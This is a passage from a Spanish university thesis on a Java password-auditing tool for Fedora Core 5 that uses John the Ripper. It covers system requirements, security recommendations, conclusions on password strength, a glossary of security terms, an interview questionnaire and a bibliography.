• Herramienta de desarrollo, NetBeans 5.5 con JDK 1.5_11

• Paquetes :

o netwig-5.35.0-src.tgz

o netwag-5.35.0-src.tgz

o netwox-5.35.0-src.tgz

o john-1.7.2.tar.gz

• Paquetes opcionales:

o wine-0.9.27.tar.bz2

o putty.exe (funciona previa instalación de wine)

o winscp32.exe (funciona previa instalación de wine)

Los paquetes opcionales no es necesario su instalación, solamente ayudan a

dar un mejor Perfomance al proyecto.

Se ha escogido la herramienta de desarrollo para el proyecto, llamada

NetBeans en su versión 5.5. Una de las ventajas de esta herramienta de

desarrollo es que es un IDE (Entorno Integrado de Desarrollo) de los más

completos que hay, muy intuitivo y de fácil manejo para personas que

desarrollan aplicaciones en java. Te permite levantar todo tipo de

Page 484: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

128

aplicaciones ya sean las comunes, o aplicaciones web, con un diseño de

interfaz súper fácil y rápido.

Además tiene un compendio de librerías de desarrollo muy poderosas, y si

no tuviéramos alguna, la descargamos del Internet desde su página oficial, la

cual se la encuentra en la bienvenida del programa de desarrollo.

Otra ventaja importante es que NetBeans nos sirve como “manager” de la

Base de Datos que estemos utilizando, en nuestro caso postgre. No

proporciona con respecto a esto último un entorno tan avanzado de control

de la base, pero es útil para realizar consultas y actualizaciones a la base, sin

necesidad de hacerlo con el manager propio de postgres.

En tal caso, para una administración completa, se recomienda instalar el

paquete pgadmin proporcionado en el cd del proyecto.

5.3.- Recurso Humano

Como equipo de desarrollo tenemos a las programadoras: Alicia Aldaz,

Karina Valenzuela, y como Coordinador de proyecto tenemos a José Hidalgo.

Todo el equipo cuenta con experiencia en el manejo y desarrollo de software

con herramientas IDE, tanto para java como Visual Basic.

Page 485: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

129

5.4.- Infraestructura

La infraestructura básica para que el proyecto se pueda desarrollar sin

ningún problema es la siguiente:

• Cableado de red usando como medio de transmisión: cable par

trenzado categoría 5e.

• Si existen mas de dos maquinas, se necesitará configurar un hub o un

switch, para conectar todas las maquinas. Si ya hay una

infraestructura de red, se la usará como medio de transmisión.

• Tarjetas de red de preferencia 3-Com por su compatibilidad con

sistemas Linux, tipo 10/100.

• Conexión a Internet, como apoyo para consultas del sistema.

5.5.- Capacitación a los usuarios.

La aplicación es muy intuitiva y fácil de entender por los usuarios finales,

además estos cuentan con un conocimiento elevado sobre redes y sistemas

operativos.

Se ha implementado en el proyecto, páginas de ayuda, las cuales pueden ser

llamadas en cualquier momento, para dar ayuda en línea, mientras se esté

ejecutando el programa.

En caso de necesitar configuraciones adicionales o capacitación a usuarios

finales, se la podrá realizar sin ningún problema. Se hará especial énfasis en

adiestrar en su funcionamiento y las consecuencias de un mal uso a los

administradores del sistema.

Page 486: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

CAPÍTULO 6

RECOMENDACIONES Y

CONCLUSIONES DEL

PROYECTO.

6.1.- Recomendaciones

El software Auditoria de contraseñas de

maquinas Fedora Core 5 para que pueda

operar de un modo correcto y de manera

óptima, deberá tener en cuenta las

configuraciones de hardware, software.

Page 487: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

131

Lo que se recomienda hacer en principio es leer detenidamente los manuales

de usuario, y para conocimientos avanzados, el manual técnico suministrado

en este proyecto. Haremos entonces una revisión rápida de lo mínimo que

necesitamos para que nuestro software funcione de manera óptima.

6.1.1.- Hardware

Los datos suministrados aquí son los requerimientos de hardware mínimos

que necesita el sistema para su funcionamiento. Se detallan a continuación:

• Procesador Pentium IV 2.0 Ghz o superior.

• También se probó con una buena Perfomance en equipos con

procesador AMD NX1750, pero se recomienda equipo con procesador

Intel.

• Memoria RAM 512 Mb, se probó en equipos con 256 Mb pero las

prestaciones bajaron significativamente.

• Disco duro con espacio de 200 MB mínimo para la instalación del

programa y los aplicativos adicionales.

• Disco duro con espacio particionado de 10Gb mínimo para la

instalación del sistema operativo Linux Fedora Core 5.0.

• CD-ROM 52x para la instalación de los aplicativos.

• Tarjeta de red 10 / 100 de preferencia 3-Com para mejor Perfomance,

no necesariamente, se puede usar cualquiera, pero debe comprobarse

la compatibilidad con el sistema operativo instalado.

Page 488: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

132

• Cable de red para la conexión con la LAN local, categoría 5e o

superior.

• Se puede disponer del uso de una tarjeta de red inalámbrica, pero el

rendimiento del programa cae drásticamente. Se optará entonces por

comprar una 3-Com o D-link.

• Monitor de 860 x 640 para poder visualizar la parte gráfica.

El programa podría trabajar en maquinas virtuales, configuradas

adecuadamente, pero el equipo tendría que ser de muy alto rendimiento, ya

que las maquinas virtuales ocupan mucha memoria, esto puede perjudicar

enormemente el rendimiento del programa, por lo cual se recomienda su uso

de preferencia en maquinas que sobrepasen los requerimientos mínimos de

operación.

Las maquinas virtuales deberán tener configuraciones de red óptimas y

funcionando, para mas detalles consultar con un manual de configuración de

maquinas virtuales.

6.1.2.- Software

Se usará el siguiente software para el desarrollo y operación del proyecto:

• Fedora Core 5.0

Page 489: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

133

• El sistema operativo, una vez listo para trabajar, deberá tener

instalados los siguientes paquetes, los cuales se proporciona en los

CD's del proyecto:

• Herramienta de desarrollo, NetBeans 5.5 con JDK 1.5_11

• Paquetes :

o netwig-5.35.0-src.tgz

o netwag-5.35.0-src.tgz

o netwox-5.35.0-src.tgz

o john-1.7.2.tar.gz

• Paquetes opcionales:

o wine-0.9.27.tar.bz2

o putty.exe (funciona previa instalación de wine)

o winscp32.exe (funciona previa instalación de wine)

Más adelante se detallará la instalación y el uso de los mismos.

Paquetes adicionales que su instalación puede ser opcional, y ayudarán a

dar mejor rendimiento al programa.

Algunos paquetes, pueden necesitar dependencias, las cuales si no están los

paquetes instalados, no permitirán seguir con la instalación. En el caso de

ocurrir, se deberá buscar en paquete correspondiente que haga falta en los

cd's de la distribución de Fedora que este usando, para nuestro caso, Fedora

Page 490: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

134

Core 5.0. Esto ocurre cuando el Fedora no está instalado con todas las

herramientas de desarrollo.

El programa, siendo desarrollado en java, es multiplataforma, podría trabajar

en maquinas Windows, con algunas variantes. Pero su uso esta determinado

exclusivamente en maquinas con Fedora Core en su versión 5.0.

En un futuro cercano se lanzará la versión para Windows Open Source del

proyecto.

6.1.3.- Red

Se hace hincapié en que la maquina Linux Fedora Core debe tener

correctamente configurada y activa la interfaz eth0, que es la que usa el

programa para comunicarse con su entorno. De ser así es necesario

modificar el código fuente para poder tener salida por otra interfaz.

Se deberá contar con equipo de red mínimo, se puede aprovechar el ya

existente en el lugar donde vaya a trabajar la aplicación. Para hacer las

pruebas del sistema se necesitará cable par trenzado categoría 5e, y un hub

o switch dependiendo de cuantas maquinas se tenga.

Las tarjetas deben ser compatibles con el Fedora Core, se recomienda 3-

Com 10/100.

Page 491: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

135

Se recomienda además, aunque no necesario, tener conexión a Internet.

6.1.4.- Puesta en marcha

Se necesita instalar todos los paquetes necesarios indicados en el manual

técnico, de allí el proyecto esta listo para operar.

Si por alguna razón no arranca, se deberá revisar las configuraciones de red

de nuevo de ser necesario, tomando en consideración lo que se menciona en

el manual de usuario, además de reinstalar algún paquete, en caso de ser

necesario.

6.1.5.- Seguridades

Se hace recordatorio que el proyecto solo debe ser usado en un entorno de

red bajo la supervisión del administrador del sistema, el cual será el único

que poseerá la clave de acceso al programa. No se deberá operar con los

scripts del proyecto de manera individual. Tomando en cuenta esto, se ha

hecho que el proyecto y todas sus clases sean mutuamente dependientes,

esto con el fin de que no se pueda operar algún módulo por separado. El

proyecto necesita trabajar con todas sus clases, en conjunto, sin la clave de

acceso, no se podrá.

Page 492: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

136

Además, solo el administrador o persona autorizada tendrá la clave de

acceso a los datos de la base de datos. Para poder hacer alguna consulta o

actualización de datos.

6.1.6.- Conclusiones

En un mundo como el actual tan globalizado y competitivo, exige que

nosotros estemos enteramente comunicados con nuestro entorno, con el

medio que nos rodea.

Esto implica el desarrollo de grandes redes de comunicación, tanto con

medios internos como externos.

A su vez, este modo de comunicarnos conlleva a que estemos expuestos a

ataques ya sean desde adentro de mi organización como desde el exterior,

sean las que fueren y de todo tipo.

Es imperativo comprobar, evaluar que los sistemas de seguridad

implementados respondan a un ataque de la manera más apropiada.

Por medio de la obtención de un password para acceder al sistema, se

pueden causar desde daño menores hasta mayores catástrofes, como la

des-configuración total de un servidor, en este caso Linux Fedora Core

Page 493: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

137

El proyecto además de funcionar como un cracker de password, evaluará

que tan seguros son nuestros password a sufrir diferentes ataques, haciendo

conciencia en los usuarios sobre la importancia de contar con password

robustos y con políticas de tratamiento adecuados de los mismos., como por

ejemplo cambiarlo cada 3 meses.

Se implementará políticas de seguridad de la red robusta, para poder

bloquear el acceso no autorizado de personas ajenas al sistema.

Los usuarios deben hacer conciencia sobre lo delicado que se vuelve, como

ejemplo, facilitar un password a una persona ajena a su departamento, esto

puede acarrear graves problemas de seguridad.

Page 494: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

138

GLOSARIO DE TÉRMINOS

Esta sección del documento ofrece un breve resumen de los significados de

ciertos términos técnicos en orden alfabético.

A

Ataque.- Agresión al sistema por parte de un pirata informático con algún

propósito específico.

Auditoria.- Proceso de revisión del sistema para comprobar la seguridad de

las claves.

Abuso de privilegio.- Persona que tiene privilegios de acceso hace mal uso

de los mismos generando un ataque al sistema.

Ataque de backdoor.- Consiste en que el atacante va a dejar una semilla

del mal ejemplo un robot y este le envía un software que me abre un puerto o

un servicio.

Autenticación.- Verificación de que el cliente sea quien dice ser para lograr

acceso al sistema.

B

Base de Datos.- Guarda los datos del sistema.

Backup.- Respaldo de información del sistema.

Page 495: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

139

C

Cracker.- Pirata informático que busca acceder al sistema para causar daño.

Código Fuente.- Lenguaje mediante el cual fue programado el sistema.

Conexión.- Comunicación entre varias maquinas.

E

Exploits.- Código malicioso que busca explotar algún recurso.

Eth0.- Interfaz de red en Linux

F

Firewall.- Conjunto de políticas de seguridad de acceso a computadoras.

Freeware.- Software gratuito.

G

GPL.- Licencia pública general aplicada al software gratuito.

GUI.- Interfaces gráficas de usuario.

H

Hackers.- Pirata informático que busca acceder a sistemas por diversión sin

causar perjuicio.

Hardware.- Parte física de una PC.

Page 496: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

140

Hijacking.- Ataque de sesión, cuando se quiere comunicar con otra

computadora ella constata y manda un brodcast, en el momento cuando abre

la sesión ve que ese esta conectando, lo desconecta agarra la sesión y

desvía la sesión a otra PC.

Hub.- Elemento físico de conexión en red.

I

ICMP.- Protocolo de control de mensajes de Internet

IP.- Identificador único que distingue una computadora de otra.

Interfaz.- Medio grafico de comunicación entre la PC y el usuario.

L

LAN.- Red de área local.

Logs.- Archivos temporales, respaldo.

M

Maquina Virtual.- Software que permite la simulación de un computador.

MYSQL.- Software para crear una base de datos.

Multiplataforma.- Se puede trabajar sobre diferentes sistemas operativos sin

que afecte su desempeño.

Page 497: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

141

N

Net Beans.- Programa de desarrollo de interfaces java.

O

Open Source. - Tecnología libre de distribución por la cual no se necesita

licencia.

P

Passwords.- Contraseña de acceso al sistema.

Paquetes.- Segmento de datos que se transmite de un lugar a otro.

Parámetros.- Datos que se envía a una función para que cumpla con su

propósito.

Perfomance.- Capacidad de desempeño de un equipo.

Periféricos.- Medios físicos del computador.

Políticas de Seguridad.- Conjunto de normas y reglas para mantener

seguro un sistema.

Protocolos. – Implementación de la lógica de una capa del modelo OSI.

R

Red.- Conjunto de maquinas que se comunican entre si.

Root.- Directorio raíz.

Page 498: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

142

S

Servidor.- Equipo de computo, el cual esta recibiendo constante peticiones

de clientes para proveerle de algún servicio.

Software.- Programas en ejecución.

Sniffers.- Programa espía que lee todos los paquetes que viajan por la red.

Spoofing de IP.- Permite que la PC se autentifique y no es miembro de la red

Scripts. - Conjunto de líneas de códigos que permiten la ejecución de una

tarea en particular.

Switch.- Dispositivo de interconexión de redes de computadoras que opera

en la capa 2 del modelo OSI, este interconecta dos o más segmentos de

red.

T

Telnet.- Servicio que permite abrir una interfaz de comunicación.

V

Vulnerable.- Sensibilidad para sufrir un ataque.

Page 499: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

143

ANEXOS

Entrevista

1. Para la realización de la entrevista se contacto al Msc. Luís Hidalgo al

cual se le formularon las siguientes preguntas con el fin de tener,

información y opiniones sobre el sistema que se va a implementar. A

continuación presentamos la entrevista.

La seguridad de su Institución es

Alta Media Baja

2. Que medidas de seguridad para el sistema utiliza la empresa

___________________________________________________________

___________________________________________________________

__________________________________________

3. Que piensa usted sobre las políticas y seguridades de la empresa

___________________________________________________________

___________________________________________________________

__________________________________________

4. Se cuenta con políticas para establecer si las claves son seguras

SI NO

Page 500: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

144

5. Cuenta con un sistema que le permite hacer una Auditoria de la

seguridad que tiene su servidor

SI NO

6. Se lleva una Auditoria de las infiltraciones que haya sufrido el servidor

SI NO

7. Cada que tiempo se cambian las claves de su empresa

Menos de 1 mes Cada mes Nunca

8. Han detectado casos de robo de clave o información por medio de

acceso no autorizado

SI NO

Page 501: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

145

Análisis de la Entrevista

Con los datos obtenidos de la entrevista realizada a un usuario de

computadoras, se pueden sacar las siguientes conclusiones:

• Es notoria la preocupación del usuario con respecto al uso y manejo

de los passwords, ya que observa que en su lugar de trabajo casi no

se toman en cuenta las políticas mínimas de seguridad de

contraseñas.

• Que por lo general, los passwords son palabras fácilmente

recordables, de las que se encuentran en un diccionario, por lo cual el

riesgo de acceso no autorizado al sistema es altísimo.

• El usuario no conoce con exactitud todas las políticas de seguridad de

la empresa, menos con respecto al control y manejo de passwords,

pero que existen.

• De que si se han registrado intentos de acceso no autorizad al

sistema, pero que no se realiza un control de las auditorias adecuado,

tal ves porque no hay alguien designado para hacer esta tarea.

• Que no poseen una herramienta de auditoria que les permita evaluar

políticas de seguridades de claves de usuario.

Page 502: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

146

Cronograma de Actividades

Page 503: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

147

Gráficos Estadísticos en Pastel

Page 504: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

148

Gráficos Estadísticos en Barra

Page 505: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

149

BIBLIOGRAFÍA

Libros consultados:

1.- Ingeniería de Software por Pressman

2.- Manual Postgre por John Worsley, Joshua Drake

3.- Manual de NetBeans por Manuel Domitsu Kono

Paginas web consultadas:

1.- www.google.com

2.- www.laneros.com

3.- www.lawebdelprogramador.com

4.- www.snort.org

5.- www.sourceforge.net

6.- www.netbeans.org

7.- www.postgres.org

8.- www.rpmfind.net

9.- www.elhacker.net

10.- www.warez.com

11.- www.crackpirata.net